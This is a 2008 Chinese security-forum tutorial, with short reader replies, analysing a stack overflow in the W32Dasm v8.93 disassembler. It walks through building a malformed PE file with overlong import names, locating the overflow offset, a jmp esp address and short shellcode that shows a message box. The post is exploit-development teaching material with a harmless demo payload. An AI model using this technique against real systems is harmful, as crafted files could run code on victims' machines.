首页
社区
课程
招聘
[原创]W32dsm v8.93漏洞分析利用
2008-7-4 11:42 6339

[原创]W32dsm v8.93漏洞分析利用

2008-7-4 11:42
6339
【文章标题】: W32dsm v8.93漏洞分析利用
【文章作者】: aoanzhishu
【作者邮箱】: aoanzhishu@yahoo.com.cn
【下载地址】: 附件下载
【漏洞方式】: 栈溢出
【攻击形式】: 对话框显示
【使用工具】: OD,LordPE,UltraEdit-32
【操作平台】: XP (English)
【作者声明】:献给初学漏洞的朋友们,高手漂过,欢迎指点与建议,仅做为学习交流,别无其他目的
1.漏洞提要
我们首先来熟悉下W32dsm v8.93这个古老的漏洞,当时已经风靡网络,再拿出来练练手,对于新手很不错
英文报道:
"The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code."
中文报道:
W32Dasm在处理引出/导入函数名时存在问题,远程攻击者可以利用这个漏洞构建恶意可执行文件,诱使用户处理,可以用户进程权限在系统上执行任意指令。
程序使用wsprintf()函数拷贝分析文件的引入/导出函数名到一个256字节的缓冲区,超长引入/导出函数名可发生缓冲区溢出,精心构建一个畸形可执行文件,诱使用户调试,可以进程权限在系统上执行任意指令。
W32dsm处理导入函数时确实存在栈溢出漏洞,但是很长的导入函数名会造成PE文件无效
受影响系统:
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 2000
反汇编如下:
0045D8DB    E8 A0170500     CALL <JMP.&USER32.wsprintfA>      格式串溢出
0045D8E0    83C4 0C         ADD ESP,0C
0045D8E3    8D8D 04FFFFFF   LEA ECX,DWORD PTR SS:[EBP-FC]
0045D8E9    51              PUSH ECX
0045D8EA    E8 65130500     CALL <JMP.&KERNEL32.lstrlen>
0045D8EF    83F8 50         CMP EAX,50
0045D8F2    7E 24           JLE SHORT H-W32Das.0045D918
0045D8F4    6A 50           PUSH 50
0045D8F6    8D85 04FFFFFF   LEA EAX,DWORD PTR SS:[EBP-FC]

0068BDC8   7C80BE2D  kernel32.7C80BE2D
0068BDCC   0068BDE4  |s = 0068BDE4
0068BDD0   004C3818  |Format = "%s"
0068BDD4   00CCD13F  \<%s> = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...
2.构造文件
这里要求大家熟悉PE文件结构的知识
找个exe程序把DOS头部复制过来如下

找到偏移3C处发现PE头偏移地址为80h,下面在80h处添加文件头结构体具体信息,大多数exe都有text,data节,我们找到记事本程序直接复制好相关信息

下面要注意偏移100h处事我们要利用漏洞的关键,是导入表的RVA与大小,我们构造畸形文件为了简单,其他15项都为0,我们构造三个区块,把第三个区块作为导入表的结构入口
首先找到 有0B01的magic(IMAGE_OPTIONAL_HEADER)入口地址,再加上E0算出为 E0h + 98h=178h,该偏移地址作为各个区块头的入口 继续复制记事本中的该部分,此时100h~177先填充为0

注意为了文件简小,我们把偏移1adh处偏移RVA改为20h,即偏移2000,偏移1d5h处偏移RVA改为30h,即偏移3000,自行更改区块大小值恰当即可
有RVA与文件偏移换算得:.text在200h,.data在600h,.idata在800h处

此时exe文件已经成型了
下面补充代码,数据
200h~600h干脆随便复制点代码就行了,但是要构造能够被windows识别为正常exe文件得下点功夫,这里不深入了
600h~610h复制记事本程序的data段部分

现在到关键区段了
回到偏移100h,这时我们知道该填充00300000h了,大小自定我这里选3C02大一点
接着在800h填充导入表结构信息如下
这里弄两个畸形导入函数地址分别为310Ch,3120h
换算后为90Ch,920h,多个便于确定溢出点

从偏移8d0h开始就填充78h,越多越好最终确定溢出位置在文件偏移9d6h处
3.漏洞利用

选用该模式演示个对话框显示

Shellcode  asm为:
xor ebx,ebx
push ebx
push 20207568
push 7369687A
push 6E616F61
mov eax,esp
push ebx
push eax
push ebx
mov eax,USER32.MESSAGEBOXA
call eax
nop
由于这个漏洞利用比较狭窄,不能超过80字节shellcode,
我就不重定位选取dll,
机器码为:
33DB
53
68 68752020
68 7A686973     
68 616F616E     
8BC4           
53            
50              
50              
53            
B8 8A05457E     //        注意:这时我电脑上的 messageboxa 的地址 0x7E45058A
                         //    jmp esp 地址 选的通用地址 0x7FFA4512
复制到文件偏移9d6h处

下面溢出效果图

4.结论
其实这个漏洞利用起来比较麻烦,要求有较好的PE文件结构知识,而且可利用的范围狭窄,只能利用导入表溢出,空间狭窄
鄙人如有疏忽,敬请执教,欢迎指点
请勿把exploit作为恶意用途使用

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (6)
雪    币: 65
活跃值: (811)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
美丽破船 5 2008-7-4 11:50
2
0
终于坐到沙发了``~~`
雪    币: 114
活跃值: (11)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
ELyt 2008-7-4 12:20
3
0
很强大,试了3个版的w32Dasm都有问题。
这个问题好有趣吖
想想,某一天,用w32Dasm Load一crackMe的时候弹出了“Gratulation,You crack it!”,还没分析就成功啦.
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 26 2008-7-4 13:08
4
0
很强大,顶。。。
雪    币: 8191
活跃值: (4268)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
ccfer 16 2008-7-4 13:20
5
0
现在用W32dsm的人很少了吧
雪    币: 2576
活跃值: (447)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
wyfe 2008-7-6 10:14
6
0
学习,我用C32asm和IDA
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
xPLK 3 2008-7-6 12:34
7
0
很好很强大。。。
游客
登录 | 注册 方可回帖
返回